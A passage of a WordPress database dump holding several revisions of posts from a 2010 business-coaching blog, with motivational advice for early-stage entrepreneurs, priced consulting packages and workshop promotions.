happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-13', '', '', '2010-10-24 17:19:30', '2010-10-25 00:19:30', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-13/', 0, 'revision', '', 0),
(1208, 2, '2010-10-24 17:20:05', '2010-10-25 00:20:05', '<img class="alignnone size-full wp-image-1193" title="opportunityvalue" src="http://whc.fbdev.org/wp-content/uploads/2010/10/opportunityvalue.gif" alt="" width="495" height="372" />\r\n<h2><!-- p.MsoNormal, li.MsoNormal, div.MsoNormal { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; }p.MsoBodyText, li.MsoBodyText, div.MsoBodyText { margin: 0in 0in 0.0001pt; font-size: 12pt; font-family: Times; font-weight: bold; }div.Section1 { page: Section1; } --> If you''re an entrepreneur at the early stages of success, most likely you''ve pondered how best to get your business to the next level of growth. To create high value opportunities to pursue what matters to you, and be massively compensated for doing so, you must increase your value to others first.</h2>\r\nTo begin, let’s define an “early-stage entrepreneur” as a person  whose business currently sustains them at a  “self-employed” job level,  but not at the level where their financial flow allows them to be free  to do whatever they please in a day. If this describes where you’re at  right now in your business, allow me to add value to you!\r\n\r\nWithout exception, every entrepreneur I’ve worked has a burning  desire to attain a level of financial success that would enable them to  spend all their “work time” being creative and innovative, constantly in  a “state to play” with ideas that matter to them and bring more value  to the marketplace.\r\n\r\nEven when your vision about your greater future is clear, you still  need an answer you feel confident is the right one to the question of  “how do I get there?  Here are three ideas that may help you gain more  clarity about how you will go about creating more opportunity by  expanding your value to others.\r\n\r\n<strong>Supply is infinite, time is finite.</strong>\r\nThere are two variables in life common to all of us– potential and time. We all have the same amount of both in a day.\r\n\r\nThere is no more time available than what is provided in a day. You  choose how you occupy your time across the 24 hours in a single earth  rotation. Take 8 hours off for sleep, and the most you have available  for creating and experiencing what you want is 16 hours.\r\n\r\nOn the other hand, within a single earth rotation, there is infinite  supply of “potential opportunity” as yet unrealized. To attract this  potential opportunity to you, start by shifting your thinking from the  world of the finite or competitive plane (current perception of lack and  limitation) to the realm of the infinite or creative plane. (creativity  and innovation to create more value). It is from the latter that all  “value” is created. The source of infinite supply is found within  you–always available for your use. The formula is simple: perceived  value x leverage = wealth!\r\n\r\n<strong>Make a big space in your life for big changes.</strong>\r\nMost  early-stage entrepreneurs get stuck in the repetitive cycle of creating  “survival-based” results. At the early stage of the journey, it can  sometimes feel overwhelming just to keep the boat floating!  Many  believe outer forces–the state of the economy, not enough capital,  influential contacts, or cheaper competitors–determine their results.  Over time, many unconsciously set their efforts at the threshold of  survival, and believe greater achievements are simply not in the cards.\r\n\r\nStart by making a big space in your life for it to happen. Stop what  you are doing step back and make an assessment of your scene. Get rid of  anything in your business and your life that does not support you. And I  mean everything! Making a big space requires making big changes– in  your thinking, limiting beliefs, your habits, your relationships, your  support and organizational structure. Change whatever it takes to fill  the space with higher-value relationships that represent greater  financial appreciation for the value you provide.\r\n\r\nThen each year, set the bar ever higher. Instead of each client  transaction representing $10,000, over time it becomes $100,000. You  don’t increase your workload; you increase your perceived value to your  clients and customers. Embrace change and experience constant growth.  Growth leads to a constant increase in your confidence that ever-greater  opportunity will always seek you out.\r\n\r\n<strong>Be really good and really different.</strong>\r\nThis idea  might seem like an over simplification on the surface, but the effects  of this principle will have a profound impact on your ability to create  bigger opportunity to experience financial freedom through your  business.\r\n\r\nIn every product or service category there is commodization. We live  in a time and society where there is an abundance of everything in the  marketplace. Anytime there is an abundant supply, customers have  abundant choice. When customers have abundant choice among products or  services, they perceive little difference in the value they provide.  Consequently, they set the price.\r\n\r\nThis is what keeps many early-stage entrepreneurs on the short end of  the stick when it comes to their power in the buying cycle.  Whatever  you provide must be perceived as highly valued by your customers  (because your value is unique and in short supply) and highly  differentiated (from the slush pile of your competitors in the  marketplace).\r\n\r\nNever think for a moment that what has made another successful will  make you likewise. You have to follow your own unique path and  expression in creating value for others. Creating value begins by  engaging in what really matters to you! The world is already full of  me-too stuff!  Always remember this–value is in the eye of the  beholder!  You job is to grow the “quality of your presence” through  your unique gifts and strengths.\r\n\r\n<strong>To experience higher levels of business and life success, you  must first understand the difference between meeting demand and  creating it.  To get there, you must become a value creator as opposed  to an order taker!</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater  clarity and confidence to define a compelling vision for your future–  and set the foundation to achieve your goal of taking your business to the next level  in an easy, relaxed, and joyful way. If you are interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Create bigger opportunities by expanding your value.', 0, '', 'inherit', 'open', 'open', '', '1192-revision-14', '', '', '2010-10-24 17:20:05', '2010-10-25 00:20:05', '', 1192, 'http://www.whitehotcenter.com/2010/10/24/1192-revision-14/', 0, 'revision', '', 0),
(1213, 2, '2010-10-29 15:04:38', '2010-10-29 22:04:38', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.\r\n</span></h2>\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>I provide guidance and creativity to help you discover, define and pursue your best opportunities to create more value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in:</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation / creativity / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales, and  communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">As a successful entrepreneur, for over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My corporate clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.   My nearly three decades of successful entrepreneurial and business building expertise, coupled with my burning passion for living my life with creativity, authenticity, passion and service enables me to be a catalyst for change and growth for successful early stage entrepreneurs who seek insight, inspiration and tools to build their bigger future.  I offer several levels of consulting and coaching engagements:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10-15K USD  This package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-10-29 15:04:38', '2010-10-29 22:04:38', '', 138, 'http://www.whitehotcenter.com/2010/10/29/138-revision-78/', 0, 'revision', '', 0),
(1216, 2, '2010-10-29 15:15:07', '2010-10-29 22:15:07', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Proof that achievement is the result of inspired, energy-infused thought. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA</strong>\r\n\r\n<strong> </strong>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span>\r\ninspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving creative entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<strong>I  also advise corporations, organizations, and early-stage  entrepreneurs, on issue-based consulting and coaching on marketing, positioning, branding, business and  professional development. The depth and duration of these engagements  varies depending on your needs and my availability. As a start, try  arranging for a “Power Session” with me where we can riff on your  current concerns, big ideas and visions you have for your future.  Click  the Power Session banner to the right. Remember, the nature of my  consulting work is weighted to the inner game of business and life  success. If you need help sifting through quantitative or qualitative  data, or motivating people to fill out time sheets, I’m not the guy. On  the other hand, if you have ideas for your bigger, better future you’d  like to gain more clarity and conviction on, just send me a note via my  email link and I’ll promptly reply.</strong>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-10-29 15:15:07', '2010-10-29 22:15:07', '', 143, 'http://www.whitehotcenter.com/2010/10/29/143-revision-28/', 0, 'revision', '', 0),
(1217, 2, '2010-09-30 19:06:27', '2010-10-01 02:06:27', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to pursue your best opportunities and help you to experience:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time and money to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion for life as a creative entrepreneur, designer, writer, creative director and brand strategy consultant serving global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling marketing innovations, value propositions and engaging experiences to influence their customers. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n\r\nHere on the blog, I write and podcast about ideas that inspire creative entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas? That''s how I feel every time I am writing and sharing here!  Indeed, it''s a labor of love!\r\n\r\nI hope you find my stuff to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-09-30 19:06:27', '2010-10-01 02:06:27', '', 172, 'http://www.whitehotcenter.com/2010/09/30/172-revision-82/', 0, 'revision', '', 0),
(1218, 2, '2010-11-16 16:19:18', '2010-11-16 23:19:18', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="450" height="261" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus for long. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your intelligence.</strong>\r\n\r\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a href="http://whc.fbdev.org/2010/10/07/the-quantum-leap-workshop%E2%84%A2-begins-march-2011/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="http://whc.fbdev.org/contact/" target="_blank">email </a>me directly, or <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download </a>the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'publish', 'open', 'open', '', 'focus-your-attention-on-your-genius-delegate-everything-else', '', '\nhttp://www.whitehotcenter.com/2010/10/07/the-quantum-leap-workshop%E2%84%A2-begins-march-2011/', '2010-12-27 15:48:27', '2010-12-27 22:48:27', '', 0, 'http://www.whitehotcenter.com/?p=1218', 0, 'post', '', 0),
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(1220, 2, '2010-11-16 15:57:05', '2010-11-16 22:57:05', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\n\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\n\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\n\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\n\n<strong>Your genius is not your intelligence.</strong>\n\nDon’t confuse genius with intelligence. Cognitive intelligence is not the attribute of genius I am referring to. As Mozart said, “ Love, love, love is the soul of genius”. Your genius is found in what you are naturally drawn to–when you loves doing something with passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\n\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\n\n<strong> </strong>\n\n<strong> </strong>\n\n<strong>Your genius is a life long expression.</strong>\n\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\n\nWhen you are operating from your genius, people will seemed astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\n\n<strong>Your genius is the key to your financial freedom.</strong>\n\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\n\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\n\n<strong>Own your future now.</strong>\n\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\n\n<strong>Once you begin to fully living in your days from this elevated perspective, the more unbridled freedom you will have to keep growing and expanding your opportunities.</strong>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision', '', '', '2010-11-16 15:57:05', '2010-11-16 22:57:05', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision/', 0, 'revision', '', 0),
(1221, 2, '2010-11-16 15:57:16', '2010-11-16 22:57:16', '<img class="alignnone size-full wp-image-1219" title="focusongenius" src="http://whc.fbdev.org/wp-content/uploads/2010/11/focusongenius.gif" alt="" width="500" height="290" />\r\n<h2>You can adopt “methods” and “techniques” to help you be more productive, but unless you are naturally drawn to the activity, no technique will sustain your interest and focus. Eventually you''ll experience resistance or avoidance in getting it done!</h2>\r\nFrom my own experience, I believe there is only one way for your actions to be massively effective–focus all effort in the areas where you are a genius and delegate everything else.\r\n\r\nAs an early-stage entrepreneur, you ‘re probably familiar with the experience of having to accomplish things all by yourself.  The mythic notion of the rugged individual entrepreneur out on the frontier is a compelling one. Who among us has not said at one time or another “to do it right, I’ll have to do it myself”?  It’s an easy trap to fall into and more difficult to get out of.\r\n\r\nOn the other hand, what if you all you did was what you loved doing? What if what you love doing created massive value and contribution to people, and you were highly paid to do it? And finally, what if you accomplish your goals in an easy and relaxed way, and your life experience is awash in a sense of limitless possibility?  Do you believe operating at this level is possible for you?  Do you believe it’s possible for you to experience life with this sense of freedom and liberation?\r\n\r\nIf you discipline your mind and focus your actions only on your unique talents and capabilities, you’ll be free to experience your greatest contributions to the world doing exactly what you love and have the world show its appreciation by funding your ability to do even more of it.\r\n\r\n<strong>Your genius is not your 